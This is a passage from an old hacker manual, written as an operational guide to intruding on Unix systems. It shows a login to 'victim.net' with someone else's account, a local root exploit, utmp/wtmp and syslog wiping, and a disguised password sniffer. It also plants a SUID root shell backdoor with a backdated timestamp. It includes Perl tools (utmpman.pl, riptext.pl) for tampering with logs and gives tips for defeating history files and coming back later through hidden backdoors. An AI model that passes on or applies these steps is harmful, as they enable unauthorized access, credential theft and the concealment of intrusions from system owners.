  3972.   }, 'UTMPNODE';
  3973.   
  3974.   @{$newnode}{qw(type pid line id time user host addr)}=
  3975.     unpack("i L a12 a4 L a8 a16 a4", $newbuff);
  3976.                              
  3977.   return $newnode;
  3978. }  
  3979.  
  3980.  
  3981. sub newport {
  3982.  
  3983.   $newnode = bless {
  3984.     "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
  3985.   }, 'PORTNODE';
  3986.   
  3987.   @{$newnode}{qw(port rdev owner)} = @_;
  3988.   
  3989.   return $newnode;
  3990. }
  3991.  
  3992.  
  3993. sub newproc {
  3994.  
  3995.   $newnode = bless {
  3996.     "cmd" => undef, "port" => undef, 
  3997.   }, 'PROCNODE';
  3998.   
  3999.   @{$newnode}{qw(cmd port)} = @_;
  4000.   
  4001.   return $newnode;
  4002. }
  4003.  
  4004.  
  4005. # Renumber hashes to default order.
  4006. sub resync {
  4007.   my(%newhash) = ();
  4008.   my($count)=0;
  4009.  
  4010.   # Write ordered list in to temporary hash, deleting as we go.
  4011.   foreach (sort( {$a <=> $b} keys(%entries))) {
  4012.     $newhash{++$count} = $entries{$_};
  4013.     delete($entries{$_});
  4014.   }
  4015.  
  4016.   # Copy elements back in to original hash table.
  4017.   foreach (sort( {$a <=> $b} keys(%newhash))) {
  4018.     $entries{$_} = $newhash{$_};
  4019.   }
  4020. }
  4021.  
  4022.  
  4023. sub longtodot4 {
  4024.   my($addr)=shift;
  4025.  
  4026.   return join(".", map( ord($_), split(//, $addr)));
  4027. }
  4028.  
  4029. sub dev2id {
  4030.   my($portlist, $rdev) = @_;
  4031.  
  4032.   foreach (sort(keys(%{$portlist}))) {
  4033.     return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
  4034.   }                               
  4035.   return undef;
  4036. }
  4037.  
  4038.  
  4039. sub listpos {
  4040.   my($arrayref, $search) = @_;
  4041.   my($count) = 0;
  4042.  
  4043. $^W = 0;
  4044.   foreach (@{$arrayref}) {
  4045.     return $count if ($search eq ${$arrayref}[$count]);
  4046.     $count++;
  4047.   }
  4048. $^W = 1;
  4049.  
  4050.   return undef;
  4051. }
  4052.  
  4053.  
  4054. ### DATE ROUTINES
  4055.  
  4056. # The following code taken & modified from the Date::Manip package.
  4057. # Here is his copyright:
  4058. #
  4059. ## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
  4060. ## This program is free software; you can redistribute it and/or modify it
  4061. ## under the same terms as Perl itself.
  4062.  
  4063.  
  4064. sub SecsSince1970 {
  4065. # Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
  4066.   my($datetime) = shift;
  4067.   my($m,$d,$y,$h,$mn,$s) = ();
  4068.  
  4069.   # If date is not defined, then return local current date and time.
  4070.   return time() if (!defined($datetime));
  4071.  
  4072.   $datetime =~ 
  4073.     s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
  4074.   ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
  4075.   $m--;
  4076.  
  4077.   # Finalize time components and check them.
  4078.   $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); 
  4079.  
  4080.   # This checks for any *non-matched* portion of $datetime. If there is such
  4081.   # an animal, then there is illegal data specified. Also screens for undefined
  4082.   # components which HAVE to be in ANY valid date/time (ie, month, day, year).
  4083.   return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));
  4084.  
  4085.   # Set time components with unspecified values.
  4086.   $s = 0 if (!defined($s));
  4087.   $mn = 0 if (!defined($mn));
  4088.   $h = 0 if (!defined($h));
  4089.  
  4090.   # Check for ranges.
  4091.   return undef if (($m > 11)    || ($h > 23)    || ($mn > 59)   || ($s > 59));
  4092.                      
  4093.   # Begin conversion to seconds since 1/1/70.
  4094.   my($sec_now,$sec_70)=();
  4095.   $sec_now=DaysSince999($m,$d,$y);
  4096.   return undef if (!defined($sec_now));
  4097.  
  4098.   $sec_now--;
  4099.   $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
  4100.   $sec_70 =30610224000;
  4101.   return ($sec_now-$sec_70);
  4102. }
  4103.  
  4104.  
  4105. sub DaysSince999 {
  4106.   my($m,$d,$y)=@_;
  4107.   my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
  4108.   my($cc,$yy)=();
  4109.  
  4110.   $y=~ /^(\d{2})(\d{2})$/;
  4111.   ($cc,$yy)=($1,$2);
  4112.  
  4113.   # Number of full years since Dec 31, 0999
  4114.   $Ny=$y-1000;
  4115.  
  4116.   # Number of full 4th years (incl. 1000) since Dec 31, 0999
  4117.   $N4=int(($Ny-1)/4)+1;
  4118.   $N4=0         if ($y==1000);
  4119.  
  4120.   # Number of full 100th years (incl. 1000)
  4121.   $N100=$cc-9;
  4122.   $N100--       if ($yy==0);
  4123.  
  4124.   # Number of full 400th years
  4125.   $N400=int(($N100+1)/4);
  4126.  
  4127.   # Check to insure that information returns a valid day of year.
  4128.   $dayofyear=dayofyear($m,$d,$y);
  4129.   return undef if (!defined($dayofyear));
  4130.  
  4131.   # Compute day of year.
  4132.   $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
  4133.  
  4134.   return $days;
  4135. }
  4136.  
  4137.  
  4138. sub dayofyear {
  4139.   my($m,$d,$y)=@_;
  4140.   my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
  4141.   my($daynum,$i)=();
  4142.   $daysinmonth[1]=29  if (!($y % 4));
  4143.  
  4144.   # Return error if we are given an invalid date.
  4145.   return undef if ($d > $daysinmonth[$m]);
  4146.  
  4147.   $daynum=0;
  4148.   for ($i=1; $i<$m; $i++) {
  4149.     $daynum += $daysinmonth[$i];
  4150.   }
  4151.   $daynum += $d;
  4152.   
  4153.   return $daynum;
  4154. }
  4155.  
  4156.  
  4157. ## END DATE ROUTINES.
  4158.       
  4159. # End of script.
  4160.  
  4161. 0;
  4162.  
  4163. --------------------- end of utmpman.pl
  4164.  
  4165. -------------------------
  4166. Chapter VI
  4167. Cleaning the log files
  4168. -------------------------
  4169.  
  4170. ------------------------------
  4171. Section 6A
  4172. A walk around a hacked system
  4173. -------------------------------
  4174.  
  4175. I can't stress the importance of this enough! Clean, Clean!!!!  In this section
  4176. I will take you on the system first hand and show you some basics on what to
  4177. look for, and on how to wipe your presence from the system.  To start this lets
  4178. logon a system:
  4179.  
  4180. Here is the step by step through the basic process:
  4181.  
  4182. ******----> see who is on the machine
  4183.  
  4184. [/home/master]finger @victim.net
  4185. [victim.net]
  4186. No one logged on.
  4187.  
  4188. ******----> good no one on, we will log on
  4189.  
  4190. [/home/master]telnet victim.net
  4191.  
  4192. Trying xxx.206.xx.140...
  4193. Connected to victim.net.
  4194. Escape character is '^]'.
  4195.  
  4196. Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
  4197. Kernel 1.2.13 on a i586
  4198.  
  4199.  
  4200. ns.victim.net login: jnsmith
  4201. Password:
  4202. Linux 1.2.13.
  4203. You have new mail.
  4204.  
  4205. ******----> Don't read his mail, you can cat all mail in /var/spool/mail
  4206.             and in each users /home/username/mail directory
  4207.  
  4208. ******----> Check again to see if anyone is on
  4209.  
  4210. [jnsmith@ns jnsmith]$ w
  4211.  
  4212. 5:36am  up 18 days,  8:23,  1 user,  load average: 0.01, 0.00, 0.00
  4213. User     tty       login@  idle   JCPU   PCPU  what
  4214. jnsmith   ttyp1     5:35am                      w
  4215.  
  4216. ******----> Just me, lets get root and get lost in the utmp!
  4217.  
  4218. [jnsmith@ns jnsmith]$ cd .term
  4219.  
  4220. ******----> Nice directory to hide stuff ;)
  4221.  
  4222. [jnsmith@ns .term]$ ./.u
  4223.  
  4224. ******----> I had this already waiting, it was the umounc.c exploit
  4225.  
  4226. Discovered and Coded by Bloodmask and Vio, Covin 1996
  4227.  
  4228. ******----> We are now root, lets use z2 to become invisible
  4229.  
  4230. bash# z2 jnsmith
  4231. Zap2!
  4232.  
  4233. ******----> Let's see if we are still on ...
  4234.  
  4235. bash# w
  4236. 5:37am  up 18 days,  8:24,  0 users,  load average: 0.08, 0.02, 0.01
  4237. User     tty       login@  idle   JCPU   PCPU  what
  4238.  
  4239. ******----> Hmm. now there is no one on the system, i must have logged off ;)
  4240.  
  4241.  
  4242. ******----> We know we are root, but lets check you you can see ...
  4243.  
  4244. bash# whoami
  4245. root
  4246. bash#
  4247.  
  4248. ******----> Yup, root ..  What directory are we in?
  4249.  
  4250. bash# pwd
  4251. /home/jnsmith/.term
  4252.  
  4253. ******----> Let's check the logs
  4254.  
  4255. bash# cd /var/log
  4256.  
  4257. ******----> most of the time in /var/adm, this box uses /var/log
  4258.  
  4259. bash# grep dormroom *
  4260. maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
  4261. maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
  4262.  
  4263. ******----> Yup, the z2 took care of everything but this maillog ...
  4264.  
  4265. bash# pico maillog
  4266.  
  4267. ******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to
  4268.             delete lines
  4269.  
  4270.  
  4271. ******----> These were the lines deleted
  4272.  
  4273. Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
  4274. Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
  4275.  
  4276. bash# grep dormroom *
  4277.  
  4278. ******----> Yup .. all clear ;)
  4279.  
  4280. bash# w
  4281. 5:41am  up 18 days,  8:27,  0 users,  load average: 0.00, 0.00, 0.00
  4282. User     tty       login@  idle   JCPU   PCPU  what
  4283.  
  4284. ******----> Yup .. all clear here too ;)
  4285.  
  4286. ******----> Lets show you how you would use lled and wted if the grep would
  4287.             have shown something in those files
  4288.  
  4289. bash# cd ~jnsmith/.term
  4290. bash# lled
  4291. bash# lled -c dormroom.playhouse
  4292. Entries stored: 527 Entries removed: 0
  4293. Now chmod lastlog.tmp and copy over the original /var/log/lastlog
  4294.  
  4295. ******----> Nothing in the lastlog
  4296.  
  4297. bash#
  4298. bash# wted -e jnsmith
  4299. Entries stored: 254 Entries removed: 0
  4300. Now chmod wtmp.tmp and copy over the original /var/log/wtmp
  4301.  
  4302. ******----> Nothing in the wtmp, both of these would have shown in the grep
  4303.             we just did in the /var/log (just showing you the commands)
  4304.  
  4305. ******----> Lets do some sniffing ...
  4306.  
  4307. bash# pico linsniffer.c
  4308.  
  4309. ******----> I changed this line to tell where i want the log to go:
  4310.  
  4311. #define TCPLOG "/tmp/.pinetemp.000"
  4312.  
  4313. ******----> lets look at what is running to think of a name that
  4314.             looks almost like it belongs there
  4315.  
  4316. bash# ps -aux
  4317.  
  4318. root       143  0.0  0.0   84    0  ?  SW  Jan 10   0:01 (lpd)
  4319. root       154  0.0  0.0  118    0  ?  SW  Jan 10   0:00 (smbd)
  4320. root       163  0.0  0.5   76  176  ?  S   Jan 10   0:00 nmbd -D
  4321. root       197  0.0  0.0   76    0 v03 SW  Jan 10   0:00 (getty)
  4322. root       198  0.0  0.0   76    0 v04 SW  Jan 10   0:00 (getty)
  4323. root       199  0.0  0.0   76    0 v05 SW  Jan 10   0:00 (getty)
  4324. root       200  0.0  0.0   76    0 v06 SW  Jan 10   0:00 (getty)
  4325. root       201  0.0  0.0   88    0 s00 SW  Jan 10   0:00 (uugetty)
  4326. root       209  0.0  0.2   35   76  ?  S   Jan 10   0:01 (update)
  4327. root       210  0.0  0.3   35  124  ?  S   Jan 10   0:03 update (bdflush)
  4328. root     10709  0.0  1.4  152  452  ?  S   Jan 27   0:10 httpd
  4329. root     11111  0.0  1.4  152  452  ?  S   Jan 27   0:07 httpd
  4330. root     14153  0.0  0.8   70  268  ?  S   Jan 16   0:03 ./inetd
  4331. root     14307  0.0  4.7 1142 1484  ?  S   Jan 16   1:16 ./named
  4332. root     14365  0.0  0.0   76    0 v02 SW  Jan 16   0:00 (getty)
  4333. root     17367  0.0  1.4  152  452  ?  S    11:01   0:02 httpd
  4334.  
  4335. ******----> lets compile it and name it nmb
  4336.  
  4337. bash# gcc linsniffer.c -o nmb
  4338.  
  4339. ******----> lets load it ...
  4340.  
  4341. bash# nmb&
  4342. [1] 22171
  4343.  
  4344. ******----> lets check the log file in /tmp
  4345.  
  4346. bash#
  4347. bash# cd /tmp
  4348. bash# ls -al .pin*
  4349. total 15691
  4350. -rw-rw-r--   1 root     jnsmith          0 Jan 29 05:50 .pinetemp.000
  4351.  
  4352. ******----> There it is, but we don't want our login to know about it!
  4353.  
  4354. bash# chgrp root .pin*
  4355.  
  4356. ******----> Lets look now ....
  4357.  
  4358. bash# ls -al .pin*
  4359. -rw-rw-r--   1 root     root            0 Jan 29 05:50 .pinttemp.000
  4360. bash#
  4361.  
  4362. ******----> This is good, Lets make an SUID shell so we don't have to
  4363.             do this again.  (check for MD5 or other programs in the cron)
  4364.  
  4365. bash# cd /bin
  4366. bash# ls -l sh
  4367. lrwxrwxrwx   1 root     root            4 Mar  1  1996 sh -> bash
  4368.  
  4369. ******----> This is a sym link ...
  4370.  
  4371. bash# ls -l bash
  4372. -rwxr-xr-x   1 root     root       299296 Nov  2  1995 bash
  4373.  
  4374. ******----> here is the real file ... lets see what to name it that
  4375.             looks like it belongs
  4376.  
  4377. bash# ls
  4378. arch           df             ksh            ping           tar
  4379. ash            dmesg          ln             ps             tcsh
  4380. bash           dnsdomainname  login          pwd            true
  4381. cat            domainname     ls             red            ttysnoops
  4382. chgrp          echo           mail           rm             umount
  4383. chmod          ed             mkdir          rmdir          uname
  4384. chown          false          mknod          sed            vi
  4385. cp             findterm       more           setserial      view
  4386. cpio           gunzip         mount          sh             vim
  4387. csh            gzip           mt             stty           zcat
  4388. date           hostname       mv             su             zsh
  4389. dd             kill           netstat        sync
  4390.  
  4391. ******----> How about a new command in linux, most admin's won't know
  4392.             the difference ;)  We will call it findhost
  4393.  
  4394. bash# cp bash findhost
  4395.  
  4396. ******----> ok, now lets have a look at our new unix command ...
  4397.  
  4398. bash# ls -l findhost
  4399. -rwxr-xr-x   1 root     jnsmith     299296 Jan 29 05:59 findhost
  4400.  
  4401. ******----> We need to change the group owner, touch the file date,
  4402.             and make it SUID
  4403.  
  4404. bash# chgrp root findhost
  4405. bash# ls -l findhost
  4406. -rwxr-xr-x   1 root     root       299296 Jan 29 05:59 findhost
  4407.  
  4408. bash# chmod +s findhost
  4409. bash# ls -l findhost
  4410. -rwsr-sr-x   1 root     root       299296 Jan 29 05:59 findhost
  4411.  
  4412. bash# touch -t 111312331995 findhost
  4413. bash# ls -l findhost
  4414. -rwsr-sr-x   1 root     root       299296 Nov 13  1995 findhost
  4415.  
  4416. bash# ls -l m*
  4417. -rwxr-xr-x   1 root     root        64400 Oct 31  1995 mail
  4418. -rwxr-xr-x   1 root     root         7689 Nov  2  1995 mkdir
  4419. -rwxr-xr-x   1 root     root         7001 Nov  2  1995 mknod
  4420. -rwxr-xr-x   1 root     root        20272 Nov  1  1995 more
  4421. -rwsr-xr-x   1 root     root        26192 Nov  1  1995 mount
  4422. -rwxr-xr-x   1 root     root         8381 Oct 31  1995 mt
  4423. -rwxr-xr-x   1 root     root        12753 Nov  2  1995 mv
  4424.  
  4425. ******----> Now it looks like it belongs ... lets see if
  4426.             it gives us root, exit our current root shell..
  4427.  
  4428. bash# exit
  4429.  
  4430. [jnsmith@ns .term]$ cd /bin
  4431. [jnsmith@ns /bin]$ whoami
  4432. jnsmith
  4433. [jnsmith@ns /bin]$ findhost
  4434. [jnsmith@ns /bin]# whoami
  4435. root
  4436.  
  4437. [jnsmith@ns /bin]# cd
  4438.  
  4439. ******----> cd {enter} takes us back to our home dir
  4440.  
  4441. [jnsmith@ns jnsmith]# ls
  4442. mail
  4443. [jnsmith@ns jnsmith]# echo + +>test
  4444. [jnsmith@ns jnsmith]# ls -l
  4445. total 2
  4446. drwx------   2 jnsmith   jnsmith       1024 Jan 11 22:47 mail
  4447. -rw-rw-r--   1 root      root            4 Jan 29 06:11 test
  4448.  
  4449. ******----> See now we are uid=0 gid=0
  4450.  
  4451. [jnsmith@ns jnsmith]# rm test
  4452.  
  4453. ******----> clean as we go .....
  4454.  
  4455. [jnsmith@ns jnsmith]# w
  4456. 6:12am  up 18 days,  8:58,  0 users,  load average: 0.07, 0.02, 0.00
  4457. User     tty       login@  idle   JCPU   PCPU  what
  4458.  
  4459. ******----> Just making sure we are still alone ....
  4460.  
  4461. [jnsmith@ns jnsmith]# ls -al /tmp/.p*
  4462. total 15692
  4463. -rw-rw-r--   1 root     root          157 Jan 29 06:10 .pinttemp.000
  4464.  
  4465. ******----> were getting passwords already ;)
  4466.  
  4467. [jnsmith@ns jnsmith]# ls -al
  4468. total 32
  4469. drwxrwx---   5 jnsmith   jnsmith   1024 Jan 29 06:11 .
  4470. drwxr-xr-x  33 root      users     1024 Jan 22 16:53 ..
  4471. -rw-r-----   1 jnsmith   jnsmith   1126 Aug 23  1995 .Xdefaults
  4472. lrwxrwxrwx   1 jnsmith   jnsmith      9 Jan  1 21:40 .bash_history -> /dev/null
  4473. -rw-r--r--   1 root      jnsmith     24 Jan  1 03:12 .bash_logout
  4474. -rw-r--r--   1 root      jnsmith    220 Jan  1 03:12 .bash_profile
  4475. -rw-r--r--   1 root      jnsmith    124 Jan  1 03:12 .bashrc
  4476. -rw-rw-r--   1 root      jnsmith   5433 Jan 11 22:47 .pinerc
  4477. drwxrwxr-x   2 jnsmith   jnsmith   1024 Jan 29 06:22 .term
  4478. drwxr-x---   2 jnsmith   jnsmith   1024 Feb 17  1996 .xfm
  4479. drwx------   2 jnsmith   jnsmith   1024 Jan 11 22:47 mail
  4480. [jnsmith@ns jnsmith]#
  4481.  
  4482. ******----> Make sure you place this sys link .bash_history to /dev/null so
  4483.             you do not leave a history behind...
  4484.  
  4485. This is the command to do it, but make sure you delete the old .bash_history
  4486. if it is there.
  4487.  
  4488. ln -s /dev/null .bash_history
  4489.  
  4490. Ok logout ...
  4491.  
  4492. Ok, there is another way!!!!!!
  4493.  
  4494. If you can remember and make it a practice that you NEVER forget, get used to
  4495. this.... EVERY TIME you login to an account type: unset HISTFILE
  4496.  
  4497. This will tell the system to delete your history file when you logoff the
  4498. system...   USE THIS!  Get into the practice!  DON'T FORGET!
  4499.  
  4500. -----------
  4501. Section 6B
  4502. messages and syslog
  4503. -----------
  4504.  
  4505. In the log directory you will find a file called 'messages' each system is
  4506. different as far as what is logged to what files or what file name.  Make
  4507. sure to check in the /etc/syslog.conf file for additional logging to
  4508. remote machines.  If this is being done you will see something like this:
  4509.  
  4510. *.*                                 @somehostname.xxx
  4511.  
  4512. Or just to check and see where the log files are going you can view this file
  4513. /etc/syslog.conf.
  4514.  
  4515. Here is a sample...
  4516.  
  4517. bash# more syslog.conf
  4518. # /etc/syslog.conf
  4519. # For info about the format of this file, see "man syslog.conf" (the BSD man
  4520. # page), and /usr/doc/sysklogd/README.linux.
  4521. #
  4522. # NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
  4523. # I don't know why.
  4524. #
  4525.  
  4526. *.=info;*.=notice                               /var/adm/messages
  4527. *.=debug                                        /var/adm/debug
  4528. *.warn                                          /var/adm/syslog
  4529. *.warn                                          /root/.../syslog
  4530. *.=crit;kern.none                               /var/adm/critical
  4531. kern.info;kern.!err                             /var/adm/kernel-info
  4532. mail.*;mail.!=info                              /root/.../mail
  4533. mail,news.=info                                 /root/.../info
  4534. mail.*;mail.!=info                              /var/adm/mail
  4535. mail,news.=info                                 /var/adm/info
  4536. *.alert                                         root,bob
  4537. *.=info;*.=notice                               @quality.com
  4538. *.=debug                                        @quality.com
  4539. *.warn                                          @quality.com
  4540. *.=crit;kern.none                               @quality.com
  4541. kern.info;kern.!err                             @quality.com
  4542. mail.*;mail.!=info                              @quality.com
  4543. mail,news.=info                                 @quality.com
  4544.  
  4545. Here some of the logs are going into a hidden directory in the /root directory
  4546. and a copy of every alert and warning are being also sent to the logs at
  4547. quality.com.  wtmp, utmp and lastlog are still local, so you can still be
  4548. ok, just make sure not to use 'su' on a system like this.  Also notice above
  4549. that alert messages are being mailed to root and bob on this system.
  4550.  
  4551. Also take note that syslog, mail, and, info are being sent to the /var/adm
  4552. directory to fool you into thinking all of the logs are in /var/adm!  If you
  4553. edit /var/adm the admin can run a diff on the backup files in the /root dir.
  4554.  
  4555. Ok, so you go to the /var/adm or /var/log directory and:
  4556.  
  4557. grep yourhost * |more
  4558. grep your ip * |more
  4559.  
  4560. you see that some files are logging your connection, mark down what files
  4561. are logging you and edit the /etc/syslog.conf file.  You will from trial
  4562. and error in most cases make it skip the logging process of your domain.
  4563.  
  4564. BUT, make sure to do a few things.  After you edit the file restart the
  4565. syslogd.  You can do this by doing a ps -x
  4566.  
  4567. $root> ps -x
  4568.  
  4569. 39  ?  S    1:29 /usr/sbin/syslogd
  4570.  
  4571. find the syslogd and notice the process id here is 39, so you do:
  4572.  
  4573. kill -HUP 39
  4574.  
  4575. This will restart the process and put your changes into effect.
  4576.  
  4577. The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you
  4578. edit it and touch the file date back to the original date and time after
  4579. you edit it.  This way if they notice the logging looks different, they
  4580. will check the file date and think it must be something else.  Most admins
  4581. would not know how to setup this file in the first place, so you in some
  4582. (or most) cases ok to edit it.
  4583.  
  4584. Here is another file to look at.
  4585.  
  4586. /etc/login.defs
  4587.  
  4588. # Enable "syslog" logging of su activity - in addition to sulog file logging
  4589. # SYSLOG_SG_ENAB does the same for newgrp and sg.
  4590. #
  4591. SYSLOG_SU_ENAB          yes
  4592. SYSLOG_SG_ENAB          yes
  4593. #
  4594. # If defined, all su activity is logged to this file
  4595. #
  4596. SULOG_FILE      /home/users/bob/.list
  4597.  
  4598. Notice here that there is an su log file in a hidden file in one of
  4599. the admin's directories.
  4600.  
  4601. -----------
  4602. Section 6C
  4603. xferlog
  4604. -----------
  4605.  
  4606. The xferlog can be edited with your favorite text editor, pico, joe, vi, etc..
  4607. you can then search for your transfers and delete the lines and save the file.
  4608. You will need to do this after transferring any files.
  4609.  
  4610. You will also want to grep the files in the /usr/local/etc/httpd/log directory
  4611. if you have used the web or phf on the system to remove your presence
  4612. from there.
  4613.  
  4614. grep (username or hostname) * |more
  4615.  
  4616. If you need to find the logs for httpd you can do a find -name httpd.conf
  4617. -print and view the config file you see where the httpd logs are going.
  4618.  
  4619. There might be different ftp logs for transfers in some ftp or virtual ftp
  4620. directory some where.  View the files in the /etc/ftp* to find what the ftp
  4621. setup is on the box.
  4622.  
  4623. Here I have shown you to edit log files using pico, joe, or other editors.
  4624.  
  4625. There is another way... Sometimes log files might be real large and the editor just might
  4626. not cut it ;)  Here is what to do...
  4627.  
  4628. You have a messages file 20 meg ... wow!
  4629.  
  4630. If you want to get the lines that have fudge.candy.com out of this file you
  4631. might want to do this:
  4632.  
  4633. grep -v fudge.candy >messages.2
  4634. rm messages
  4635. mv messages2 messages
  4636.  
  4637. then kill -HUP <process id for syslogd>
  4638.  
  4639. -v means grep everything that does not match the line, so you are greping
  4640. the file -what you do not want to a new file name messages.2.  Check the
  4641. file size after the grep to make sure no errors were made and replace the
  4642. old one with the new one and restart syslogd.
  4643.  
  4644. This can also be used with other logs like xferlog, syslog, etc...
  4645.  
  4646. Here is a perl script that will do it for you from command line.
  4647.  
  4648. ------------------- start of riptext.pl
  4649. #!/usr/bin/perl
  4650. #
  4651. # RipText - Takes regular expression and filename argument from @ARGV. Any 
  4652. #           lines MATCHING regular expression will *not* be printed to 
  4653. #           STDOUT. 
  4654. #
  4655.  
  4656. die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
  4657. ($regexp, $filename) = @ARGV[0,1];
  4658.  
  4659. # Read in contents of file.
  4660. $/ = undef;
  4661. $contents="";
  4662. if (!defined($filename)) {
  4663.   # Use STDIN.
  4664.   $contents = scalar <STDIN>;
  4665. } else {
  4666.   # Use FILE.
  4667.   open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");
  4668.   $contents = scalar <FILE>;
  4669.   close(FILE);
  4670. }
  4671.  
  4672. @contents = split(/\n/, $contents);
  4673.  
  4674. # Strip file of matching lines.
  4675. open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
  4676. foreach (@contents) {
  4677.   print FILE "$_\n" unless (/$regexp/i);
  4678. }
  4679. close(FILE);
  4680.  
  4681. 0;
  4682.  
  4683. ------------------------ end of riptext.pl
  4684.  
  4685. Remember to restart syslogd after you edit files, true you will not see
  4686. the stuff, and it will be gone to your eyes, but if you do not restart the
  4687. process, the data is still in memory and can be retrieved until you restart
  4688. the process!
  4689.  
  4690. Also look for notes in the syslog that the syslogd process was restarted at
  4691. such and such a time.
  4692.  
  4693. ---------------
  4694. Section 6D
  4695. The cron table
  4696. ---------------
  4697.  
  4698. Make sure to look at admin's and root cron files, here in this system we find
  4699. a root cron file in: /var/spool/cron/crontabs
  4700. bash# ls -l
  4701. total 1
  4702. -rw-------   1 root     root          851 Jan 26 14:14 root
  4703.  
  4704. bash$ more root
  4705. # This updates the database for 'locate' every day:
  4706. 40 07 * * *       updatedb 1> /dev/null 2> /dev/null
  4707. 40 */12 * * *       /sbin/checkfs
  4708.  
  4709. there is a file running here in /sbin called checkfs.
  4710.  
  4711. bash$ cd /sbin
  4712. bash$ /sbin # more checkfs
  4713. #!/bin/bash
  4714.  
  4715. if [ ! -f /etc/default/fs/.check ]; then
  4716.   echo WARNING!! Filecheck default file cannot be found. Please regenerate.
  4717.     exit
  4718.     fi
  4719.  
  4720. md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null
  4721. md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null
  4722. md5sum /sbin/* >> /tmp/filecheck 2>/dev/null
  4723. md5sum /bin/* >> /tmp/filecheck 2>/dev/null
  4724. md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null
  4725. md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null
  4726. md5sum /lib/* >> /tmp/filecheck 2>/dev/null
  4727. md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null
  4728. diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1
  4729.  
  4730. if [ -s /tmp/filecheck2 ]; then
  4731.   mail -s FSCheck bin < /tmp/filecheck2
  4732.   fi
  4733.  
  4734. rm /tmp/filecheck /tmp/filecheck2 2>/dev/null
  4735.  
  4736. md5 is a checksum file, if you change or add a binary file to any of the
  4737. above directories the information of the changes will be mailed to the
  4738. admin.
  4739.  
  4740. ------------------------------
  4741. Chapter 7
  4742. Keeping access to the machine
  4743. ------------------------------
  4744.  
  4745. There are many ways to keep access to the machine, you will loose
  4746. access to many as you as you are learning, but I hope with this manual
  4747. and some experience you will become a stable hacker.
  4748.  
  4749. Section 7A
  4750. Tricks of the trade
  4751.  
  4752. Here are some 'tricks' of the trade that will help you keep access
  4753. to the machine.  After a system admin has found you out, they will be watching
  4754. for you and going through everything on the system.  They will go as far as
  4755. recompiling binary files, changing everyone's passwords, denying your host you
  4756. came in from to the machine, going through the passwd or shadow file, looking
  4757. for SUID files, etc....
  4758.  
  4759. When you see that you have been found out, do not try to get access to the
  4760. system again.  I have seen others right after being cought, try everyone of
  4761. their trojans, other accounts, and other backdoor's they placed for continued
  4762. access.  Well think about it, they are watching for you ... you are showing
  4763. them every in that you have to the system, and every exploitable file you
  4764. are making known to them.
  4765.  
  4766. NO!  WAIT!  Give it a few months, they will think everything is ok, and they
  4767. will relax and you can come in with one of the backdoor's they missed, and you
  4768. can do your thing on the logs for all of the attempts you made on the system
  4769. to get back in.
  4770.  
  4771. Ok here are some tricks of the trade.
  4772.  
  4773. History Files:
  4774. --------------
  4775. Always put your .bash_history to /dev/null, if you don't make sure you at least
  4776. edit it.  Remember the .bash_history will always have your last commands until
  4777. the logoff.  So if you edit it, it will show that you are editing it. You might
  4778. try changing your shell and editing it there, but this all seems like a pain,
  4779. just set it to /dev/null
  4780.  
  4781. 1. Delete the file in the user directory .bash_history if it there.
  4782. 2. Type this command in the home directory: ln -s /dev/null .bash_history
  4783.  
  4784. Nested directory:
  4785. -----------------
  4786. Always find a directory on the system to hide your files.  There are a few good
  4787. ones that most users never look into.
  4788.  
  4789. In the users home directory look for .term, all you will find in this directory
  4790. is an executable file called termrc.  Admin's and users alike are used to seeing this
  4791. hidden directory, and never EVER go into it.  if they did what do you think
  4792. they would say to an executable file being in there called termrc?  You are right!
  4793. Nothing .... it belongs there and it is what they expect to see there.
  4794.  
  4795. So lets say we make termrc a little bigger, and add suid perm's ... are you
  4796. getting the idea???? I hope you guessed it... go to the /bin directory and
  4797. type cp bash (or sh whatever is there) ~username/.term/termrc
  4798. then type : chown root ~username/.term/termrc
  4799.           : chgrp root ~username/.term/termrc
  4800.           : chmod +s ~username/.term/termrc
  4801.  
  4802. Now you have a nested file that can get you root on the system any time that
  4803. will not be easy for the admin to find.  If you want to get fancy, touch
  4804. the file date to make it look like an older file.
  4805.  
  4806. Another directory off the user accounts expected to be there and unused would
  4807. be .elm, .term or Mail, or try making a directory called '...' this is harder
  4808. to notice seeing the first directories that show are . and .., so it can go
  4809. un-noticed easy.  This is how it would look if they did a long ls:
  4810.  
  4811. 1024 Jan 29 21:03 .
  4812. 1024 Dec 28 00:12 ..
  4813. 1024 Jan 29 21:03 ...
  4814.  509 Mar 02  1996 .bash_history
  4815.   22 Feb 20  1996 .forward
  4816.  164 May 18  1996 .kermrc
  4817.   34 Jun 06  1993 .less
  4818.  114 Nov 23  1993 .lessrc
  4819. 1024 May 18  1996 .term
  4820. 1024 May 19  1996 public_html
  4821.  
  4822. see how it seems to just fit into place?
  4823.  
  4824. but if it was just a ls -l, this is what would be seen:
  4825.  
